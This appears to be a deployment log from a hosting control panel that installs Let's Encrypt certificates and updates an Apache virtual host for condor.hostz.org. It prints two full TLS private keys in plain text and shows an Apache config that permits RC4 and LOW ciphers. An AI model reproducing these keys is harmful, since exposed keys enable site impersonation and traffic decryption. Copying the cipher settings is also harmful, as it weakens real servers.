2026-01-18 06:01:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt	5394
a2:4a:fc:6e:12:cf:e9:91:28:a8:14:cc:a0:fd:31:64

-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBeK6o1gv6zvpOrXwu4lf5JoxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTE4MDUwMjM1WhcNMjYwNDE4MDUwMjM0WjAhMR8wHQYDVQQD
ExZwb3J0YWwucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAmSCDAqSX9TaHQbsJA1wFrRnRomixKKGW5J2poSDgaHPSUe4UBobf
r3sR8ZBp4n0c4k3K4Rl1yXPwqwUzpnGve2+5CEChCMYT2CJkEQl0SkWRm2ZqRrB5
MGLfKiXarKwe4LAu+R0lw9pqiBvFG/vrN1U6py7pNaCKGXGsij25+lxo2oG4UVfw
Of4OQDb0NrMowFG+mSf2sdw0QLnh+GrDvlSHbfIkAK0P3B1zL9E7/egthKjPEIeO
F2xQiF41nux5ROF2kZRVPM/quAyvKsjCHTuG237QN7eesp4TqWpNoD5G9ngE+zdY
yQirMnJ0b6v7QOPxXyEL8aKiKAiOBHRFvQIDAQABo4ICOzCCAjcwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBTD55FHwdxigQSMXN1fPFqaCtYIqzAfBgNVHSMEGDAWgBQA
tSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CFGxpdmUucGF0aWVu
dGFwcHMubmV0ghZwb3J0YWwucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
NTAuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUASZybad4dfOz8Nt7Nh2Sm
uFuvCoeAGdFVUvvp6ynd+MMAAAGbz7FbmAAABAMARjBEAiBDZ2PFb0GtAalqLv4B
Gy1D4zRFNakIysk9Aax7Rk+tzQIgOT8LI8DJpzs3XBlWqcxdLc+olNVO2OrYE0G0
PnW9SrcAdgAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZvPsVu1
AAAEAwBHMEUCICqmY/uR9iDveuKmLJOzhUGUPKHg9QCCiyV/qXs4/2oCAiEA0mtR
5YaERGeArXIEWePYIbO4UcAP36BmonruYsIm71MwDQYJKoZIhvcNAQELBQADggEB
ANauxh84Vwkm3Hns32bsWlPfVpU5/yjNEZ8XEc638vthl8bsThw6fI9nanhO5N1y
hcAElK9Nbj1VuewzwOIZ/yQaN9+cvNzJOaEJ6H5uej9B64gO+LA5bsqrX8bgcKU4
NAyWx5HVMoH/1xPiLpxiYO9xuL27+9MfryON0tdczMMaKN8Y3WerslFnlvaw1zGf
ZRQC9FbXovMD8ro4g7CCPi0ZYqpdjkKjLbYKkr/+K1RMbyf19iK/W00j3bcUi0Fx
R1a3qZlvoflyuwPOKJaThrK/wckuc/O3hW8IQqRmyRSsQzN7eFdTYbQmqR3htemZ
NdTtONjH30e9bXAF2HyPHu4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCZIIMCpJf1NodB
uwkDXAWtGdGiaLEooZbknamhIOBoc9JR7hQGht+vexHxkGnifRziTcrhGXXJc/Cr
BTOmca97b7kIQKEIxhPYImQRCXRKRZGbZmpGsHkwYt8qJdqsrB7gsC75HSXD2mqI
G8Ub++s3VTqnLuk1oIoZcayKPbn6XGjagbhRV/A5/g5ANvQ2syjAUb6ZJ/ax3DRA
ueH4asO+VIdt8iQArQ/cHXMv0Tv96C2EqM8Qh44XbFCIXjWe7HlE4XaRlFU8z+q4
DK8qyMIdO4bbftA3t56ynhOpak2gPkb2eAT7N1jJCKsycnRvq/tA4/FfIQvxoqIo
CI4EdEW9AgMBAAECggEAHj5dodgAa14puMHINfGm7Vl8HievVecUdnLtXfWwXPED
SUtMiT16UJ5uHNf5EdLEMa5Ls8njibZsglq0qNsrXaXjVc3uAF2e7cFdIkBLx5+V
8qt3sh6I0RW2Hgz7877LGnWx0WIAY35wLBHQDIblHjinLP4G8aCTphLdkTA/20K2
9vDep34dnAO8I9XNI5UVjBshvj6PmAvIJjZmqMcpjLc+NwPD6iHH0PYLQ3E48Yqs
fjnSyDGOUp0rhbpCzPrsN4BVwDHcMTFeZuBziyvSdf2/G0IvBEm4aT8Gi5GhRhOo
N5vgcfh/ULhDKZUCzhtsIAGtlo6P+q51skT+HwCUAQKBgQDK9OTusVEN8Gn4mTBZ
oKgYXWW5MWLeNraZvmImUunvUNheNKPAwX1/uB9ekC1a3tzHsGog1bfv+xnB32V5
QpHGxvDZwsy+0gjjM8x2wh88wS6zrlEH/fCN9GfyVvA2lLVJWfJkH9Oj0anxkpeW
wL1JkzWwe53fbyxVL868vCp2jQKBgQDBJbHg4FP+kRE7yr7AsJSI7TFdMLQM9WJb
LoPHr/0lCw504zICJCz+NR9hpbjV/b8ssaDBzyK2ZOBb+OqkzQ1N0OpWjC08fNzf
KmeRu0P9kihBHpjaIoEyix4VuIZ+XlhK6poJpCbsyzwoBolLvigVcozCJlt9Vd/7
8lGK9CQX8QKBgE+qc1aSeauMDDzN/OGho3n052IbVaC+P0z4I1TBxRvwUw4fgYu/
J8EDiCS5WWRLCMTFpdL/sTTdDs5AH3fKvqgVHSONSIs6rMxqX77aEiLp/agAK8SE
VHGUV10T7TSviL2jNfdBWvT57shpb2F4hJSl2TROQbkbzX4exvrkrZJdAoGBAJsh
yZMS2qPWpH7fwwJFUagAyutMmPDnjk4qOBIFGk/MZ5oeeSYbJEAxLrlhP+owWoJt
UO8ZjYntz/5PGTewsoTTzcQh5pt0tnpQNstoG53o7IgRKTfbCuYrsshDY1LQOB5D
++DOha0fN3v2dAPwAYXocYHnCQjMFpDn+fKfUPYhAoGATPftFbkMCTpRyienPGe3
nCyHzPKXOt0vsaa7Rtu8HsDh6oM4NxnbFXFFZozfFfigy0wHv5jg49dwtcENzFua
4mAuRt08vUB9ZZwZkdtybYHBSPI6VxcoM2Vpl0S+jCeAIyeQqWeMLVzEmLbvs4q4
ydjYO0Pwye1/1fpR5nN2vTE=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-01-18 06:01:07: Establishing a connection
2026-01-18 06:01:07: Establishing a connection
2026-01-18 06:01:07: 

PUT: /tmp/pkp717650

#!/bin/bash
if [ -d "/var/www/hostz_condor/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-18 06:01:07: 

chmod 755 /tmp/pkp717650; /tmp/pkp717650; rm /tmp/pkp717650

2026-01-18 06:01:07: 


1


2026-01-18 06:01:08: Establishing a connection
2026-01-18 06:01:08: 

PUT: /tmp/pkp598121

#!/bin/bash
mkdir -p "/var/www/hostz_condor/.well-known/acme-challenge/"
cd "/var/www/hostz_condor/.well-known/acme-challenge/"
cat > Bsa0jJF58W6eAPhutmo37a2UI1LtEGIkebRXcL-Avps <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Bsa0jJF58W6eAPhutmo37a2UI1LtEGIkebRXcL-Avps.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Bsa0jJF58W6eAPhutmo37a2UI1LtEGIkebRXcL-Avps


2026-01-18 06:01:08: 

chmod 755 /tmp/pkp598121; /tmp/pkp598121; rm /tmp/pkp598121

2026-01-18 06:01:08: 




2026-01-18 06:01:14: Establishing a connection
2026-01-18 06:01:14: 

PUT: /tmp/pkp813421

#!/bin/bash
mkdir -p "/var/www/hostz_condor/.well-known/acme-challenge/"
cd "/var/www/hostz_condor/.well-known/acme-challenge/"
rm Bsa0jJF58W6eAPhutmo37a2UI1LtEGIkebRXcL-Avps


2026-01-18 06:01:14: 

chmod 755 /tmp/pkp813421; /tmp/pkp813421; rm /tmp/pkp813421

2026-01-18 06:01:14: 




2026-01-18 06:01:14: Establishing a connection
2026-01-18 06:01:15: 

PUT: /tmp/pkp915237

#!/bin/bash
temp_file=$(mktemp)
TARGET=452589c154b484450eedc2df554d68f3.crt

cat > $temp_file <<'endmsg'
74:d2:1f:31:e2:b1:5a:eb:d3:71:6d:46:7a:f4:20:d6

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBVRmQTZgP2IITjOW6uZlPMXKMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE4MDUwMjQzWhcNMjYwNDE4MDUwMjQyWjAbMRkwFwYDVQQD
ExBjb25kb3IuaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA3Zyeu32t9/DTtiGwcM6YU2Vg5NiB8ad1H3HaYXMubCxCX4cv/D6c958sJjV5
fgzJlTFCzYEcsppDO7z4iX4Hs+CZ4GEgURM8n74gBHZtJRw9qBWTewUZRVdEa2lw
r4RCSGPwuG72I6iWJgOL6NzGroLon+5/oJ3ub1mMmxgzrW5dcN6KJnHCzcfyLUzB
V2aKJ67X/JiPHxcX7eYbzmwa5xEqZCNjXASTbVZRwyfLyhbJdqyCFvbWcQt1p82J
Z/QdvSejfMGMXUXDxQygBpx7ozxA7/b/z7HDC8y6giJyO6TikEIGwGgd0QO+dSOK
hesSE4IqN69GCwg3drdu2gsK+QIDAQABo4ICIDCCAhwwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBR/VTggLzEs5F2tKsb6ID0wA6RmQzAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMBsGA1UdEQQUMBKCEGNvbmRvci5ob3N0ei5vcmcw
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
My5jLmxlbmNyLm9yZy83NS5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdQCW
l2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZvPsXysAAAEAwBGMEQC
IEi+4aUpG9hlDvR1T/c2k/5AOTreU8iB92PTA49URYN/AiAT5XPPGKcdxUMBMrvc
QjUJ/TKPgrEXlyUCEVbirpY7rQB3ANFuqaVoB35mNaA/N6XdvAOlPEESFNSIGPXp
MbMjy5UEAAABm8+xfTAAAAQDAEgwRgIhAL7eilgNNgmcepCyfHPjIn66+q0lBlRU
C1IQIzBeO2rsAiEAqFvI5JLoPAsohz/2Zcjbo0cua94MLAS7hajesB+8UMswDQYJ
KoZIhvcNAQELBQADggEBAFb2W6iUX0IY5S3Tkm0DpNpCtzCH/qMzFfhfneers03l
8uHFiidp51VCXbYB6h0KE2a0k3TAFLhXBmJBeezfgqlFS7ZQQvNkMUC64fAkcHAM
AcP1QhFKoi8fxm+aSFx84bdj2HXReZJUlMtY5zEkRtwrl1Bu39UrPFi6F+eGrsU2
vdjaf66tVp1qOLW5hc3bLuoaZcMW611gkHWF5NNkguyjYQ2ToZ38jwEaQ54F4D+l
NmcFW9bBLiyAwh4R8mLnPYT5wfkWMc+iwgj1OMQGok/vTQab9vdpW6UF4Rdv9kgh
Jqvilv2GN+iaFZpVqxd9jiwAPL04tLTePyPanJwZxqQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDdnJ67fa338NO2
IbBwzphTZWDk2IHxp3Ufcdphcy5sLEJfhy/8Ppz3nywmNXl+DMmVMULNgRyymkM7
vPiJfgez4JngYSBREzyfviAEdm0lHD2oFZN7BRlFV0RraXCvhEJIY/C4bvYjqJYm
A4vo3Mauguif7n+gne5vWYybGDOtbl1w3oomccLNx/ItTMFXZoonrtf8mI8fFxft
5hvObBrnESpkI2NcBJNtVlHDJ8vKFsl2rIIW9tZxC3WnzYln9B29J6N8wYxdRcPF
DKAGnHujPEDv9v/PscMLzLqCInI7pOKQQgbAaB3RA751I4qF6xITgio3r0YLCDd2
t27aCwr5AgMBAAECggEABH0pK/QSQ4zxxOUuzUIqDLpneYs3Kp1xPmdQfJvYK2HE
IGo9Gxdrl4p2WvnHUbnRlX+Pclk0qxt71ChyQlq2rjqU81oUTQAeQMAZpu19LXzC
dPam652BUwm+/Yv/t9Zuf0fi9uFsg/FkxTVaLqfWMG+/ZYnvtOGuFDxUoEmftloV
zHRNQ7eknjOJzCyW4352iuGsDwTxMTimYCaphFmjBZEYUIEqKFSUuejIqn/sV3Pf
cyxGE5fcyOAF9yuHqntLj9VGhP9qbMm+JWKjaa79VEIUvybUL6CHauAFoSt6cJQA
FlAhkUpU1h57rJce7LvDki5UDJ/oxawyBm6uzem7QQKBgQD0IyoiH87h0SxxOzsW
pdAtyWiwMoAaelw13sIkAELfXSvcN6pempw3Wk7IMz9xwSRcVPWtkXLCIO+v4ySA
o9SW+x2wSZmWIfmOCMD3Ne7IyHgniooeeijbVEKVTUDOmINTpUAlPDI7B8FNHAW8
GSkBUrTKSkBd/KVIP5SEZt6KyQKBgQDoYUJMD1UAc0XI7oXwfK4rgymHmIjXu84m
Ey7UzUN76MCXb2S9HXHMT61FoGDo3BHIPdOECPNfq0OgIFu8TSVmVeKKuOfbMbg3
D4yXG536vMvP4Lv6OC5bP7LuTjg0c7P9viEMV8eOCnm7e3tt1pfGIhx+HdhQwSio
Uhgq11lmsQKBgQDJ3xXk16Zq5Vq5Wn/Wj09fvO4629c/jbQXu1WPDUQ+jD1LQCA5
T+EiiCMiufWZK1rUmk/3sJBS44cuSkURteaA3a5D6ef806UWBDkDcW48Sj/Iem8R
GnQUQE06RYH0EvpsvPUYlPj4BMaa6zP2wFs+w9PIfbNRxCorXp+BB8q2uQKBgFB1
/KKhXGk/gJZGIJJYWWYvkB2nLxqjqIl+cuSz/f3VZXoJ0/O3UkPQAsrs8SEvseiH
n8lD4CDsCApVqe3VOHHqovotc/ptiL9n3uIjadv7qwZbZjsJYOOvdqEU7FkdBuGB
B6hibHI+JlBIPUCW4Q51mTAB3Xh4qT8+zadn0UjBAoGAJOJhYPqqT+U1jZL3Vlx4
hBbbC/fBKRJ2idgWx5eQc5uwtdHXOjYmJxRPBIRJfKdRT5qQo91VWh8UfP2cee5E
aJfPRXZ+9i42i5YawL8iDLAAXB6rNlku/Dn8DSq74YBXnSb/8B7fs3DShMonTDTE
4MiFBFEJuCww9K26fpMnw5g=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-18 06:01:15: 

chmod 755 /tmp/pkp915237; /tmp/pkp915237; rm /tmp/pkp915237

2026-01-18 06:01:15: 


dir=/etc/ssl/certs


2026-01-18 06:01:15: 

PUT: /tmp/pkp323051

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_condor_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-18 06:01:15: 

chmod 755 /tmp/pkp323051; /tmp/pkp323051; rm /tmp/pkp323051

2026-01-18 06:01:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_condor_org.conf 40

<VirtualHost *:80>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/condor_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_condor/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/condor_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-18 06:01:15: 

PUT: /tmp/pkp694842

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_condor_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_condor_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/condor_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_condor/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/condor_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_condor_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_condor_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_condor_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_condor_org.conf= 1'
fi


2026-01-18 06:01:15: 

chmod 755 /tmp/pkp694842; /tmp/pkp694842; rm /tmp/pkp694842

2026-01-18 06:01:15: 




2026-01-18 06:01:15: 

PUT: /tmp/pkp560344

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-18 06:01:15: 

chmod 755 /tmp/pkp560344; /tmp/pkp560344; rm /tmp/pkp560344

2026-01-18 06:01:15: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-18 06:01:15: Establishing a connection
2026-01-18 06:01:15: 

PUT: /tmp/pkp121880

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-18 06:01:15: 

chmod 755 /tmp/pkp121880; /tmp/pkp121880; rm /tmp/pkp121880

2026-01-18 06:01:15: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
